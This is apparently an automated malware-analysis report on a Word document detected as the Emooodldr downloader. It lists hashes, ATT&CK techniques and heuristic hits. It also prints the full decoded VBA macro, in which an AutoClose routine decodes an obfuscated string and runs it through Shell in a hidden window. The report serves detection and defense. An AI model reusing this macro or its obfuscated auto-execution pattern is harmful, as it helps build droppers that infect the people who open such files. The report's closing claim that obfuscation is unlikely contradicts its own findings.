Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 d158c1111de1b21a…

MALICIOUS

Office (OOXML)

53.6 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-31
MD5: ce9fd40d404d258405e38f78f08c0912 SHA-1: 0936f307d2aa64cc6236726a4b906bf6ce605c50 SHA-256: d158c1111de1b21a41af1099e0718ecda240a42636a5456ce2074f3ee6f7ba9a
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The AutoClose macro is present and calls the Shell() function, indicating an attempt to execute arbitrary code. The ClamAV detection name 'Doc.Malware.Emooodldr-6711604-0' strongly suggests the Emooodldr family. The VBA script appears to deobfuscate and execute a payload, likely a downloader.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2072 bytes
SHA-256: 57ffd45b56318ffd8e4b2e205089db949682306d0b81387b70a15a8c3359f24a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function binodose(defaulter)
  startful = Array("T", "g", "p", "u", "7", "J", "R", "C", "G", "2", "9", "0", "5", "j", "", "Y", "8", "z", "6", "q", "m", "N", "h", "O", "k", "3", "v", "X", "l", "E", "a")
  servicing = Array("/", "o", "h", "?", "g", "s", ".", "u", "b", "R", "q", "G", "y", ":", "c", "n", "l", "a", "P", "t", "=", "k", "m", " ", "p", "d", "i", "f", "w", "e", "x")
  
  ephedrins = vbNullString
  
  For Each partridge In defaulter
    silone = thoracodynia(partridge, startful)
    If silone > -1 Then
    ephedrins = servicing(silone) + ephedrins
    End If
  Next
  
  binodose = StrReverse(ephedrins)
  
End Function

Public Function thoracodynia(tortonian, opulently)
  oxwort = 5521
  proaesthetic = 7919
  For oxwort = 0 To UBound(opulently)
    If opulently(oxwort) = tortonian And oxwort > -1 Then
     proaesthetic = oxwort
    End If
  Next

  If proaesthetic = 7919 Then
    proaesthetic = -1
  End If
  
  thoracodynia = proaesthetic
End Function


Sub AutoClose()
  defaulter = Array("h", "J", "p", "q", "z", "R", "E", "a", "E", "O", "p", "q", "q", "k", "j", "T", "T", "g", "N", "3", "v", "9", "5", "G", "7", "9", "C", "l", "3", "Y", "9", "l", "3", "z", "R", "", "g", "h", "T", "2", "6", "0", "T", "J", "g", "X", "R", "k", "p", "k", "u", "C", "q", "h", "z", "m", "g", "k", "J", "8")
  amidships = binodose(defaulter)
  
  Application.Run "underfed", (amidships)
  
End Sub


Private Sub underfed(phenmiazine)
   
   shortfall = 16202
   bootid = True
   
   While bootid
     busman = shortfall + 717
     If busman - shortfall > 1 Then
       galvanoplastical = sicklewise + "ll"
       Call VBA.Shell(phenmiazine, vbNormalFocus - 1)
       bootid = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: c284d695c5ec2782a3add1432693f269267737d5c98ef35d903d87eac505c304
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely